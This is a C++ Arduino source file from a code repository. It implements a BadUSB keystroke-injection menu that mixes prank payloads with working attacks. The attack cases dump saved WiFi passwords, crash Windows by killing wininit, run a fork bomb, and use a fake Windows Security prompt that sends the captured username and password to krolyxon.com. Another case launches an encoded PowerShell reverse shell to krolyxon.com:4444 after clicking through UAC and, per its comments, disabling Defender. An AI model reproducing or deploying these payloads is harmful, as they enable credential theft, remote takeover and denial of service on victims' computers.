Krolyxon
Commit a42feeb

Branches

Tags

Refs →

orion-rfsrchidbadusb.cpp

446 lines · 14.3 KB · C++

1#include "ui/display.h"
2#include <Arduino.h>
3#include <USBHIDKeyboard.h>
4
5extern USBHIDKeyboard Keyboard;
6
7void runCommand(const char *command) {
8 Keyboard.press(KEY_LEFT_GUI);
9 Keyboard.press('r');
10 delay(100);
11 Keyboard.releaseAll();
12 delay(300);
13 Keyboard.print(command);
14 Keyboard.write(KEY_RETURN);
15}
16
17void showRunningScreen(String taskName, uint8_t duration = 5) {
18 u8g2.clearBuffer();
19 u8g2.setFont(u8g2_font_6x12_tf);
20 u8g2.drawStr(0, 15, "Running:");
21 u8g2.drawStr(0, 30, taskName.c_str());
22 u8g2.drawFrame(0, 45, 128, 10);
23
24 static const unsigned char image_download_bits[] U8X8_PROGMEM = {
25 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
26 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
27 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
28 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
29 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
30 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
31 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
32 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
33 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
34 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
35 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
36 static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
37 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
38 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
39 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
40 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
41 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
42 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
43
44 u8g2.setFontMode(1);
45 u8g2.setBitmapMode(1);
46 // download
47 u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
48
49 // EviSmile1
50 u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
51
52 for (uint8_t i = 0; i <= duration; i++) {
53 u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
54 u8g2.sendBuffer();
55 delay(50);
56 }
57}
58
59void typeSlow(const char *text, int delayMs = 25) {
60 while (*text) {
61 Keyboard.print(*text);
62 delay(delayMs);
63 text++;
64 }
65}
66
67void badUSBMenu(int index) {
68 // switch (index)
69 // {
70 // case 0:
71 // runBadUSBDemo();
72 // break;
73
74 // case 1:
75 // Serial.println("Open CMD payload");
76 // runBadUSBOpenCMD();
77 // break;
78
79 // case 2:
80 // Serial.println("Rickroll payload");
81 // runBadUSBRickroll();
82 // break;
83 // }
84
85 switch (index) {
86 // ================= ORION DEMO =================
87 case 0:
88 showRunningScreen("ORION Demo");
89
90 runCommand("notepad");
91
92 delay(2500);
93
94 typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
95 Keyboard.write(KEY_RETURN);
96
97 typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
98 Keyboard.write(KEY_RETURN);
99
100 typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
101 Keyboard.write(KEY_RETURN);
102
103 typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
104 Keyboard.write(KEY_RETURN);
105
106 typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
107 Keyboard.write(KEY_RETURN);
108
109 typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
110 Keyboard.write(KEY_RETURN);
111
112 Keyboard.write(KEY_RETURN);
113
114 typeSlow("[+] WIFI MODULE READY");
115 Keyboard.write(KEY_RETURN);
116
117 typeSlow("[+] BLE MODULE READY");
118 Keyboard.write(KEY_RETURN);
119
120 typeSlow("[+] SUBGHZ MODULE READY");
121 Keyboard.write(KEY_RETURN);
122
123 typeSlow("[+] NFC MODULE READY");
124 Keyboard.write(KEY_RETURN);
125
126 typeSlow("[+] HID ENGINE READY");
127 Keyboard.write(KEY_RETURN);
128
129 break;
130
131 // ================= RICKROLL =================
132 case 1:
133 showRunningScreen("RickRoll");
134
135 runCommand("cmd");
136
137 delay(700);
138
139 typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
140 Keyboard.write(KEY_RETURN);
141
142 break;
143
144 // ================= MATRIX =================
145 case 2:
146 showRunningScreen("Matrix");
147
148 runCommand("cmd");
149
150 delay(700);
151
152 typeSlow("color 0A");
153 Keyboard.write(KEY_RETURN);
154
155 typeSlow("mode con: cols=120 lines=40");
156 Keyboard.write(KEY_RETURN);
157
158 typeSlow(":A");
159 Keyboard.write(KEY_RETURN);
160
161 typeSlow("echo %random%%random%%random%%random%%random%");
162 Keyboard.write(KEY_RETURN);
163
164 typeSlow("goto A");
165 Keyboard.write(KEY_RETURN);
166
167 break;
168
169 // ================= FAKE TERMINAL =================
170 case 3:
171 showRunningScreen("Fake Terminal");
172
173 runCommand("cmd");
174
175 delay(700);
176
177 typeSlow("color 0A");
178 Keyboard.write(KEY_RETURN);
179
180 typeSlow("cls");
181 Keyboard.write(KEY_RETURN);
182
183 typeSlow("echo CONNECTING TO TARGET...");
184 Keyboard.write(KEY_RETURN);
185
186 typeSlow("echo BYPASSING FIREWALL...");
187 Keyboard.write(KEY_RETURN);
188
189 typeSlow("echo ACCESS GRANTED");
190 Keyboard.write(KEY_RETURN);
191
192 typeSlow("systeminfo");
193 Keyboard.write(KEY_RETURN);
194
195 break;
196
197 // ================= WIFI CRACK =================
198 // ================= WIFI PASSWORD RECOVERY =================
199 case 4:
200 showRunningScreen("WiFi Recovery");
201
202 runCommand("cmd");
203 delay(700);
204
205 // Styling the window
206 typeSlow("color 0A && mode con: cols=100 lines=30");
207 Keyboard.write(KEY_RETURN);
208 delay(200);
209
210 typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
211 Keyboard.write(KEY_RETURN);
212 delay(500);
213
214 // The "Magic" Command:
215 // This lists all profiles and shows the 'Key Content' (the password) in
216 // clear text. We use a 'for' loop to automate this for every network
217 // the PC has ever joined.
218 typeSlow(
219 "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
220 "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
221 "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
222
223 Keyboard.write(KEY_RETURN);
224
225 // Optional: Keep the window open to read the results
226 typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
227 Keyboard.write(KEY_RETURN);
228
229 break;
230
231 // ================= FAKE UPDATE =================
232 case 5:
233 showRunningScreen("Fake Update");
234
235 runCommand("cmd");
236
237 delay(700);
238
239 typeSlow("start https://fakeupdate.net/win10u/");
240 Keyboard.write(KEY_RETURN);
241
242 break;
243
244 // ================= FAKE BSOD =================
245 case 6:
246 showRunningScreen("Critical Error");
247
248 runCommand("powershell -c \"stop-process -name wininit -force\"");
249 break;
250
251 // ================= GLITCH SCREEN =================
252 case 7:
253 showRunningScreen("Glitch");
254
255 runCommand("cmd");
256
257 delay(700);
258
259 for (int i = 0; i < 20; i++) {
260 typeSlow("color 4F");
261 Keyboard.write(KEY_RETURN);
262
263 typeSlow("color 1F");
264 Keyboard.write(KEY_RETURN);
265
266 typeSlow("cls");
267 Keyboard.write(KEY_RETURN);
268 }
269
270 break;
271
272 // ================= ASCII SPAM =================
273 case 8:
274 showRunningScreen("ASCII");
275
276 runCommand("notepad");
277
278 delay(2000);
279
280 for (int i = 0; i < 15; i++) {
281 typeSlow("######### ORION-RF #########");
282 Keyboard.write(KEY_RETURN);
283
284 typeSlow(">>> SIGNAL ACQUIRED <<<");
285 Keyboard.write(KEY_RETURN);
286
287 typeSlow("[|||||||||||||||||||||||||]");
288 Keyboard.write(KEY_RETURN);
289
290 Keyboard.write(KEY_RETURN);
291 }
292
293 break;
294
295 // ================= HACKER TYPER =================
296 case 9:
297 showRunningScreen("Hacker Typer");
298
299 runCommand("cmd");
300
301 delay(700);
302
303 typeSlow("start https://hackertyper.net/");
304 Keyboard.write(KEY_RETURN);
305
306 break;
307 // ================= POWERSHELL REVERSE SHELL =================
308 // ================= DEFENDER BYPASS + NC =================
309 case 10:
310 showRunningScreen("Pwn Mode v2");
311
312 // 1. Open Admin PowerShell
313 Keyboard.press(KEY_LEFT_GUI);
314 Keyboard.press('r');
315 delay(150);
316 Keyboard.releaseAll();
317 delay(500);
318
319 // Open Admin Prompt - using 'powershell' directly to save space
320 typeSlow("powershell Start-Process powershell -Verb runAs");
321 Keyboard.write(KEY_RETURN);
322 delay(2500); // Wait for UAC
323
324 // 2. Bypass UAC (Left Arrow + Enter)
325 Keyboard.write(KEY_LEFT_ARROW);
326 delay(200);
327 Keyboard.write(KEY_RETURN);
328 delay(3000); // Give the Admin window time to load
329
330 // 3. AMSI Bypass + Disable Defender + Execute Shell
331 // We use -EncodedCommand to hide the script from simple string
332 // scanners. The Base64 string below contains: Set-MpPreference
333 // -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
334
335 typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
336 "-EncodedCommand ");
337
338 // This is the encoded payload for krolyxon.com:4444
339 typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A"
340 "FMAdAByAG"
341 "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA"
342 "2ADQAUwB0"
343 "AHIAaQBuAGcAKAAiAEgA"
344 "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA"
345 "cwB0AGUAb"
346 "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC"
347 "gAJwBrAHI"
348 "AbwBsAHkAeABvAG4A"
349 "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA"
350 "GMAbABpAG"
351 "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB"
352 "dACQAYgB5"
353 "AHQAZQBzACAAPQA"
354 "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA"
355 "aQAgAD0AI"
356 "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC"
357 "wAIAAkAGI"
358 "AeQB0AGUAcwAuAEw"
359 "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9"
360 "ACAAKABOA"
361 "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw"
362 "B0AGUAbQA"
363 "uAFQAZQB4AHQAL"
364 "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG"
365 "4AZwAoACQ"
366 "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg"
367 "AD0AIAAoA"
368 "GkAZQB4ACAAJAB"
369 "kAGEAdABhACAAMgA+"
370 "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ"
371 "ABiAGEAYw"
372 "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA"
373 "gACsAK"
374 "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG"
375 "IAeQB0AGU"
376 "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT"
377 "AEMASQBJA"
378 "CkALgBHAGUAd"
379 "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG"
380 "UAYQBhAG0"
381 "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu"
382 "AGQAYgB5A"
383 "HQAZQAuAEwAZQB"
384 "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
385 "JABjAGwAa"
386 "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
387 "BwAHIAZQB"
388 "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
389 "bwBkAGkAb"
390 "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
391 "QAbwBBAHI"
392 "AcgBhAHkAKAApACkAKQA=");
393
394 Keyboard.write(KEY_RETURN);
395 break;
396 // ================= CREDENTIAL SNATCHER =================
397 case 11:
398 showRunningScreen("Vault Crack");
399
400 // Open hidden PowerShell
401 runCommand(
402 "powershell -nop -W Hidden -c \"$cred = "
403 "$host.ui.PromptForCredential('Windows Security','Please "
404 "authenticate "
405 "to update your system credentials.','',''); $p = "
406 "$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
407 "Invoke-WebRequest -Uri "
408 "'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
409
410 break;
411 // ================= DESKTOP GHOST =================
412 case 12:
413 showRunningScreen("Ghost Mode");
414
415 runCommand(
416 "powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
417 "System.Windows.Forms; "
418 "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
419 "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
420 "-Format Image).Save($path); Set-ItemProperty -Path "
421 "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
422 "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
423
424 // Hide Desktop Icons (requires a registry tweak)
425 typeSlow(
426 "reg add "
427 "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
428 "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
429 "explorer.exe && start explorer.exe");
430 Keyboard.write(KEY_RETURN);
431
432 break;
433 // ================= FORK BOMB =================
434 case 13:
435 showRunningScreen("System Stress");
436
437 runCommand("cmd");
438 delay(500);
439
440 // The shortest deadly command in Windows
441 typeSlow("%0|%0");
442 Keyboard.write(KEY_RETURN);
443
444 break;
445 }
446}